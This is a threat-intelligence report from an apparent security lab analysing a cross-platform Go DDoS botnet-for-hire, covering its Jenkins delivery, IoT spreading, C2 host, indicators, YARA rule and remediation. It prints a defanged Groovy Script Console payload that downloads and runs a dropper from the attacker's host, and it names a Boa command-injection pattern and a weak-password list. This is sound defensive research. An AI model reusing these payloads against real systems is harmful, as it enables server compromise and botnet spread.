malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

A Cross-Platform Go DDoS Botnet-for-Hire

Kinryū Labs analysed bot.exe, the Windows build of a Go-compiled DDoS botnet distributed as an 11-binary, 13-architecture dropper suite and delivered through a multi-day Jenkins Script Console exploitation campaign. Reconnaissance of the staging host identified a live, authenticated DDoS-for-hire API, a Go SSH command channel, and a co-hosted Mirai-lineage family. We assess with high confidence that this is a commercial DDoS-for-hire operation.

By Davis Zheng·

TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.

Executive summary

  • 13architecture builds, 11 unique binaries
  • 5named DDoS methods, plus a for-hire API
  • 3coordinated source IPs in one /22
  • 2botnet families on one host

bot.exe is the Windows x86-64 build of a Go-compiled DDoS botnet distributed as a multi-architecture dropper suite. A companion shell script, bins.sh, retrieves thirteen architecture builds, eleven unique after de-duplication, covering 32- and 64-bit x86, four ARM profiles, ARM64, Android ARM64, and big- and little-endian MIPS, alongside the Windows binary. The suite reached the honeypot network through exploitation of an exposed Jenkins server.

The malware embeds five named flood methods (HTTP, TLS handshake, ICMP, direct TLS, and a volumetric method labelled VOULT), an HTTP flood that rotates browser User-Agent strings and locale headers to resemble legitimate traffic, and command-injection payloads targeting the Boa webserver on RealTek SDK devices for self-propagation. Reconnaissance of the staging host at 185.226.93[.]242 identified an authenticated DDoS-for-hire API on port 3333, a Go-implemented SSH service on port 2222 serving as the command channel, and an anonymous FTP service staging a second botnet family of Mirai/Gafgyt lineage.

Kinryū Labs assesses with high confidence that bot.exe is part of a malicious, self-propagating, multi-architecture DDoS botnet run as a commercial for-hire service. Three findings carry the assessment: the binary’s own attack-method and exploitation strings; a live for-hire API on the operator’s staging host that validates job parameters and requires authentication; and honeypot telemetry of a sustained, multi-node campaign delivering the suite.

Key judgments
  • bot.exe is a cross-platform Go DDoS botnet. Five distinct flood-method log strings carry target and duration parameters, alongside browser-impersonation machinery and SOCKS5 support, all in unobfuscated strings and corroborated by the live API.
  • The operation runs as a commercial DDoS-for-hire service. The staging host exposes an API on port 3333 that validates job parameters (user, psw, host, method, time, port) and rejects invalid credentials.
  • The botnet self-propagates through IoT command injection. The binary carries a Boa formSysCmd command-injection payload, a router login brute-force path, and exported loginDevice and loginDeviceCaptcha functions, injecting the same dropper one-liner recorded in the honeypot logs.
  • Three source IPs are a single operator. Three addresses in 185.226.92[.]0/22 delivered identical payloads with coordinated timing and a shared credential list, and the delivery and staging IPs present identical SSH host keys, indicating one host or cloned images.

Delivery: a sustained Jenkins Script Console campaign

The suite was delivered by exploitation of an internet-exposed Jenkins instance. Honeypot telemetry recorded a consistent two-step method: a GET /crumbIssuer/api/json to retrieve the CSRF token, followed by a POST /script carrying a Groovy Script Console payload. The payload was identical across attempts and is defanged here:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

Requests carried an Authorization: Basic header cycling a short dictionary of weak numeric passwords for the admin account (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), the signature of an automated credential list rather than targeted authentication.

The campaign ran over several days in repeated waves:

  • Wave 1First probes: CSRF-crumb check followed by Groovy RCE, from the staging IP and a second address in the same block.
  • Capturebins.sh and all thirteen variants recovered at two sensors roughly fourteen hours apart, byte-identical at both.
  • Later wavesParallel exploitation from all three source IPs within minutes of each other, with rotated User-Agents.

The exploitation requests rotated a large set of realistic browser User-Agents, while the reconnaissance sweep looking for further Jenkins targets (a /login fetch followed by a rapid burst of /script requests) used the default Go-http-client/1.1. Spoofed User-Agents ride the exploitation payloads; the scanner uses the botnet’s native Go client. The staging and C2 host itself took part in the exploitation, so attack and hosting infrastructure are not separated.

The malware: one Go codebase, eleven binaries

Writing the bot in Go lets one codebase cross-compile to every target the operator wants. The dropper walks the full product line, fetching each build with wget and again with curl as a fallback, marking it executable, running it, and deleting it. The suite includes a Windows .exe, which the Linux dropper still passes through chmod +x, and the script’s generated structure points to a build-and-list pipeline. After de-duplication the thirteen builds reduce to eleven unique binaries: the x86 and i386 builds match, as do the generic ARM and ARMv7 builds. The architecture spread, from MIPS and legacy ARM through Android, marks a botnet aimed at routers, cameras, and other embedded devices; the Windows build carries the same code to desktops and servers.

The binary is not packed (PE section entropies fall between 5.4 and 6.3) and not stripped (the Go build ID and runtime symbols are intact), so its capabilities sit in plain strings. The compile timestamp is zeroed, which is normal for Go builds.

Five flood methods are named in the binary’s log strings, each formatted with a target and a duration: an “HTTP (Optimized)” flood, a TLS/TCP “Handshake” exhaustion flood, an ICMP “PING” flood, a direct “TLS+” session flood, and a “VOULT” method, volumetric and likely UDP-based. Both application-layer and network-layer options are present.

The HTTP flood is built to pass as legitimate traffic. It rotates more than ten browser User-Agent strings across Chrome, Edge, Opera, Firefox, and Safari on Windows, macOS, iPad, and Android; fifteen Accept-Language locales; and the sec-fetch-* and sec-ch-ua-* fingerprint headers that mitigation services inspect. It sets a Referer from a small set of high-reputation sites (google.com, reddit.com, facebook.com, bing.com, twitter.com, and fbi.gov). One entry in the User-Agent set is the literal string Hello World, a developer placeholder that makes a clean detection signature because no legitimate client sends it.

Propagation targets the Boa webserver, a small embedded HTTP daemon still shipped on many RealTek SDK routers and cameras. The binary carries a command-injection payload against Boa’s formSysCmd handler and a login brute-force path against router admin interfaces, with JSON credential fields and the exported functions loginDevice and loginDeviceCaptcha. The injected command is the dropper one-liner, so a compromised device becomes the delivery point for the next.

The vendored Go modules are all standard golang.org/x packages, with no third-party C2 framework linked. They include chacha20poly1305, http2/hpack, dns/dnsmessage, and http/httpproxy, matching the observable capabilities: an authenticated-encrypted channel, HTTP/2, raw DNS, and SOCKS5 proxying (the strings socks5, socks connect, and socksUsernamePassword are present). C2 configuration is retrieved at runtime from hxxp://<C2>/config.dat; the single hard-coded address in the binary is the staging host.

Command-and-control and staging infrastructure

Reconnaissance of the staging host identified the following services:

PortServicePurpose
21/tcpvsftpd 3.0.3, anonymous login enabledMalware staging (second family, below)
22/tcpOpenSSH 9.2p1 (Debian)Operator access
1001/tcpGo net/http serverPrimary staging: serves bins.sh and the variants
2222/tcpGo SSH (SSH-2.0-Go)Bot command channel
3333/tcpGo net/http serverDDoS-for-hire API

Two findings support the for-hire assessment. The delivery IP and the staging host present identical ED25519, RSA, and ECDSA SSH host keys, placing them on the same machine or on images cloned from one template, and the port-2222 Go SSH service presents a distinct key from the system OpenSSH on port 22, marking it a separate application rather than a forward. The port-3333 API rejects a request for missing parameters (user, psw, host, method, time/duration, port) and returns an authentication failure for test credentials, with all other paths returning 404. This is the minimal, per-request-authenticated interface of a commercial booter, running on live infrastructure.

A second family on the same host

The anonymous FTP service stages a separate botnet family, referred to here as “boatnet” after its filenames. Its dropper (ohshit1.sh) uses the BusyBox ftpget client, renames each binary to WTF before execution, and launches builds in the background across fifteen architectures, including exotic embedded targets (ARC, m68k, SH4, SPARC) of the Mirai/Gafgyt lineage. The binaries are C-compiled ELF, stripped, and packed (entropy 7.6 to 7.9 with no UPX magic, indicating a custom packer), so little survives static review. The boatnet artefacts predate the bot.exe suite and run an unrelated codebase, so one host is staging two distinct botnet families.

Hosting

Both attacker IPs fall in 185.226.92[.]0/22, registered to a Turkey-based VPS provider (network name BIGCORE-US, AS205196 / AS57152) through RIPE NCC, with abuse contact [email protected]. We identify the hosting provider for reporting purposes and make no claim about the identity of the operator.

Indicators of compromise

Attacker infrastructure is defanged. Sample hashes and detection strings carry live values by design.

Network

IndicatorContext
185.226.93[.]242Staging + C2 host; also an active scanner
185.226.92[.]110Primary scanner / delivery node
185.226.92[.]173Secondary scanner
185.226.92[.]0/22Hosting allocation (BIGCORE, AS205196). Reasonable perimeter block
185.226.93[.]242:1001HTTP staging (bins.sh + variants)
185.226.93[.]242:2222Go SSH command channel
185.226.93[.]242:3333DDoS-for-hire API (/api, parameter-gated)
185.226.93[.]242:21Anonymous FTP, boatnet staging
hxxp://<C2>/config.datRuntime C2 config retrieval pattern
/boafrm/formSysCmd, /boafrm/formLoginBoa RCE and login-brute URIs in outbound propagation
SSH host key (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…Shared across the delivery and C2 IPs; pivot indicator

Files

FileSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (dropper)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Full dropper suite hashes (11 unique across 13 builds)
BuildSHA-256Size (bytes)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

Host and credential artefacts

  • Jenkins admin brute-force dictionary: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (boatnet dropper) and a binary renamed to WTF before execution.
  • Distinctive User-Agents: Hello World (bot HTTP flood) and Go-http-client/1.1 (bot self-scan).

Behavioural

  • Jenkins GET /crumbIssuer/api/json followed by POST /script carrying a Groovy ProcessBuilder('sh','-c', …) payload that fetches bins.sh.
  • Outbound requests to a host under /config.dat, preceded by a Connecting to CNC... log line.
  • Inbound POST /boafrm/formSysCmd with sysCmdselect=5 and a wget … bins.sh body.

Detection

The strings are stable and unobfuscated, so signatures are straightforward. The YARA rule below is a candidate built from verified strings; validate before deployment.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

Network detection:

  • Jenkins: alert on POST /script bodies containing ProcessBuilder with wget/curl to a raw IP, particularly preceded by GET /crumbIssuer/api/json.
  • IoT propagation: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • Infrastructure: block 185.226.92[.]0/22, which covers the delivery and C2 addresses, and alert on outbound connections to ports 1001, 2222, and 3333 in that range.

Remediation

  • Do not expose Jenkins to the internet. Place it behind authentication and network isolation, disable the Script Console for non-administrators, and treat a reachable build server as a full-host compromise risk. This was the delivery vector.
  • Enforce strong Jenkins credentials and rate-limit authentication. The campaign relied on a short dictionary of weak numeric passwords for admin.
  • Segment or replace RealTek/Boa-based routers and IoT devices, and block external access to their admin interfaces. These are the botnet’s propagation target.
  • Block the hosting allocation (185.226.92[.]0/22) at the perimeter and alert on the Boa RCE URI and the config.dat retrieval pattern.
  • Filter egress. A host reaching a raw IP on port 1001 to pull architecture-named files, or connecting to ports 2222 or 3333 in that range, is anomalous and catchable where host detection is absent.
  • Report the infrastructure. The DDoS-for-hire API and the FTP-staged malware can be reported to the hosting provider’s abuse contact ([email protected]).

MITRE ATT&CK mapping

TacticTechnique
Initial AccessT1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd for propagation)
Credential AccessT1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (IoT login)
ExecutionT1059 Command and Scripting Interpreter (Groovy via Script Console; Unix shell dropper)
DiscoveryT1046 Network Service Scanning (Jenkins/IoT self-scan); T1082 System Information Discovery; T1057 Process Discovery
Defense EvasionT1036 Masquerading (browser User-Agent rotation; boatnet WTF rename)
Command and ControlT1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH on 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer (multi-architecture staging)
ImpactT1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (handshake exhaustion)

Methodology and notes

  • Scope: static analysis of the captured binaries, which were not executed, and active external reconnaissance of the staging host (service and banner enumeration, anonymous FTP listing, and unauthenticated probing of the port-3333 API). No authentication was bypassed.
  • The YARA rule is a candidate built from verified strings; validate before deployment. The boatnet binaries are packed and yielded few strings.
  • Samples (the bot.exe suite, the dropper, and the boatnet artefacts) are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.
How to cite
Kinryū Labs (2026). A Cross-Platform Go DDoS Botnet-for-Hire. https://kinryu.sh/reports/go-ddos-botnet-for-hire/